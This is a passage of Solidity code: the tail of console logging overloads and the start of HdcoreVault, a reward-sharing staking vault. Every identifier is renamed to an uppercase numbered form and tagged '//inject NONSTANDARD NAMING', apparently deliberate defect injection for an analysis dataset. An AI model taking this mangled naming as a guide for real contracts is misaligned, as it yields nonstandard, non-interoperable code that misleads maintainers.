LOG714(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // HDCore Vault distributes fees equally amongst staked pools // Have fun reading it. Hopefully it's bug-free. God bless. contract HdcoreVault is OwnableUpgradeSafe { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HdCOREs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block. uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below. bool withdrawable; // Is this pool withdrawable? mapping(address => mapping(address => uint256)) allowance; } // The HDCORE TOKEN! INBUNIERC20 public hdcore; // Dev address. address public devaddr; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public pendingRewards; uint256 public contractStartBlock; uint256 public epochCalculationStartBlock; uint256 public cumulativeRewardsSinceStart; uint256 public rewardsInThisEpoch; uint public epoch; // Returns fees generated since start of this contract function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock)); } // Returns averge fees in this epoch function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock)); } // For easy graphing historical epoch rewards mapping(uint => uint256) public epochRewards; //Starts a new calculation epoch // Because averge since start will not be accurate function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week epochRewards[epoch] = rewardsInThisEpoch; cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch); rewardsInThisEpoch = 0; epochCalculationStartBlock = block.number; ++epoch; } event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING address indexed user, uint256 indexed pid, uint256 amount ); event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING function INITIALIZE896( //inject NONSTANDARD NAMING INBUNIERC20 _hdcore ) public INITIALIZER933 { OwnableUpgradeSafe.__OWNABLE_INIT503(); DEV_FEE = 724; hdcore = _hdcore; devaddr = msg.sender; contractStartBlock = block.number; _superAdmin = msg.sender; } function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING return poolInfo.length; } // Add a new token pool. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function ADD659( //inject NONSTANDARD NAMING uint256 _allocPoint, IERC20 _token, bool _withUpdate, bool _withdrawable ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].token != _token,"Error pool already added"); } totalAllocPoint = totalAllocPoint.ADD659(_allocPoint); poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, accHdcorePerShare: 0, withdrawable : _withdrawable }) ); } // Update the given pool's HDCOREs allocation point. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SET408( //inject NONSTANDARD NAMING uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Update the given pool's ability to withdraw tokens // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING uint256 _pid, bool _withdrawable ) public ONLYOWNER691 { poolInfo[_pid].withdrawable = _withdrawable; } // Sets the dev fee for this contract // defaults at 7.24% // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus uint16 DEV_FEE; function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%'); DEV_FEE = _DEV_FEE; } uint256 pending_DEV_rewards; // View function to see pending HDCOREs on frontend. function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHdcorePerShare = pool.accHdcorePerShare; return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING console.LOG714("Mass Updating Pools"); uint256 length = poolInfo.length; uint allRewards; for (uint256 pid = 0; pid < length; ++pid) { allRewards = allRewards.ADD659(UPDATEPOOL374(pid)); } pendingRewards = pendingRewards.SUB877(allRewards); } // ---- // Function that adds pending rewards, called by the HDCORE token. // ---- uint256 private hdcoreBalance; function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance); if(newRewards > 0) { hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change pendingRewards = pendingRewards.ADD659(newRewards); rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards); } } // Update reward variables of the given pool to be up-to-date. function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; uint256 tokenSupply = pool.token.BALANCEOF536(address(this)); if (tokenSupply == 0) { // avoids division by 0 errors return 0; } hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation .MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get .DIV156(totalAllocPoint); // we can do this because pools are only mass updated uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000); uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee); pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee); pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659( hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply) ); } // Deposit tokens to HdcoreVault for HDCORE allocation. function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); //Transfer in the amounts from user // save gas if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(msg.sender, _pid, _amount); } // Test coverage // [x] Does user get the deposited amounts? // [x] Does user that its deposited for update correcty? // [x] Does the depositor get their tokens decreased function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING // requires no allowances PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][depositFor]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); // This is depositedFor address } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(depositFor, _pid, _amount); } // Test coverage // [x] Does allowance update correctly? function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; pool.allowance[msg.sender][spender] = value; emit APPROVAL172(msg.sender, spender, _pid, value); } // Test coverage // [x] Does allowance decrease? // [x] Do oyu need allowance // [x] Withdraws to correct address function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance"); pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount); _WITHDRAW26(_pid, _amount, owner, msg.sender); } // Withdraw tokens from HdcoreVault. function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING _WITHDRAW26(_pid, _amount, msg.sender, msg.sender); } // Low level withdraw function function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][from]; require(user.amount >= _amount, "withdraw: not good"); MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // 